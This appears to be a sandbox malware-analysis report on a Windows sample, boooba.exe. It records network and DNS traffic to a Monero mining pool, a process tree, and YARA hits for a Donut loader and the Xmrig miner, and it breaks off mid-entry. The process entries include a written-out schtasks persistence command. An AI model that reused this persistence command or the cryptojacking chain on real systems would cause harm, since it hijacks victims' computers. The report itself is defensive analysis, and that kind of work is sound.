
Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T11:42:02.084648+0100	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.4	49731	212.47.253.124	10300	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 11:42:10.645478964 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:10.650799990 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:10.650875092 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:10.651052952 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:10.656302929 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:10.854851961 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:10.860342979 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:10.860415936 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:10.860496998 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:10.865865946 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:11.470175982 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:11.522156000 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:11.695657015 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:11.740885973 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:17.592417955 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:17.693147898 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:17.756544113 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:17.772172928 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:27.434385061 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:27.647247076 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:27.867705107 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:28.093019009 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:28.093246937 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:37.532932997 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:37.647228003 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:37.880022049 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:37.975353956 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:47.432581902 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:47.647270918 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:42:47.685528994 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:42:47.881653070 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:00.559580088 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:00.647356987 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:00.688911915 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:00.772289038 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:09.518081903 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:09.647301912 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:10.668694973 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:10.787911892 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:20.488769054 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:20.647335052 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:20.669874907 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:20.772357941 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:29.516242027 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:29.647351980 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:30.916131973 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:31.084836960 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:40.519223928 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:40.647470951 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:40.650868893 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:40.881767035 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:50.484646082 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:50.647427082 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:43:50.791806936 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:43:50.975529909 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:44:00.516897917 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:44:00.647448063 CET	49731	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:44:00.840754032 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:44:00.881789923 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:44:09.475711107 CET	10300	49730	212.47.253.124	192.168.2.4
Oct 30, 2024 11:44:09.584939003 CET	49730	10300	192.168.2.4	212.47.253.124
Oct 30, 2024 11:44:10.243458986 CET	10300	49731	212.47.253.124	192.168.2.4
Oct 30, 2024 11:44:10.459959984 CET	49731	10300	192.168.2.4	212.47.253.124

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 11:42:10.630589008 CET	63090	53	192.168.2.4	1.1.1.1
Oct 30, 2024 11:42:10.641957045 CET	53	63090	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 11:42:10.630589008 CET	192.168.2.4	1.1.1.1	0x6cf7	Standard query (0)	xmr-eu1.nanopool.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	51.15.58.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	51.15.193.130	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	51.89.23.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	146.59.154.106	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	54.37.232.103	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	163.172.154.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	212.47.253.124	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	51.15.65.182	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	54.37.137.114	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	141.94.23.83	A (IP address)	IN (0x0001)	false
Oct 30, 2024 11:42:10.641957045 CET	1.1.1.1	192.168.2.4	0x6cf7	No error (0)	xmr-eu1.nanopool.org	162.19.224.121	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	06:41:56
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\boooba.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\boooba.exe"
Imagebase:	0x400000
File size:	2'234'368 bytes
MD5 hash:	EF9E6A4BAB77A1E5ED51669EABEBA31D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:41:59
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\boooba.exe"
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:42:00
Start date:	30/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"
Imagebase:	0x7ff746900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:42:00
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:42:00
Start date:	30/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:42:02
Start date:	30/10/2024
Path:	C:\Users\user\IOAshdohSha.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\IOAshdohSha.exe
Imagebase:	0x400000
File size:	2'234'368 bytes
MD5 hash:	EF9E6A4BAB77A1E5ED51669EABEBA31D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:42:03
Start date:	30/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c "C:\Users\user\IOAshdohSha.exe"
Imagebase:	0x7ff746900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:42:03
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:42:03
Start date:	30/10/2024
Path:	C:\Users\user\IOAshdohSha.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\IOAshdohSha.exe
Imagebase:	0x400000
File size:	2'234'368 bytes
MD5 hash:	EF9E6A4BAB77A1E5ED51669EABEBA31D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:42:05
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1777354712.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1777354712.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1774881873.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1774881873.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1781637275.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1781637275.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1779369936.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1779369936.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1779753714.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1779753714.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1784061209.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1784061209.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1778886806.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1778886806.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1775332478.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1775332478.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1775882569.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1775882569.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1772851303.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1772851303.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1773553446.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1773553446.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000009.00000003.1774354264.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000009.00000003.1774354264.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:42:06
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
Imagebase:	0x400000
File size:	31'744 bytes
MD5 hash:	6A7E9885A2D01DF564B46F8F27258853
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:42:06
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1778567981.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1778567981.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1782316167.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1782316167.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1780288557.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1780288557.000001E32C455000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1779051954.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1779051954.000001E32C453000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000000B.00000003.1783041722.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000000B.00000003.1783041722.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected 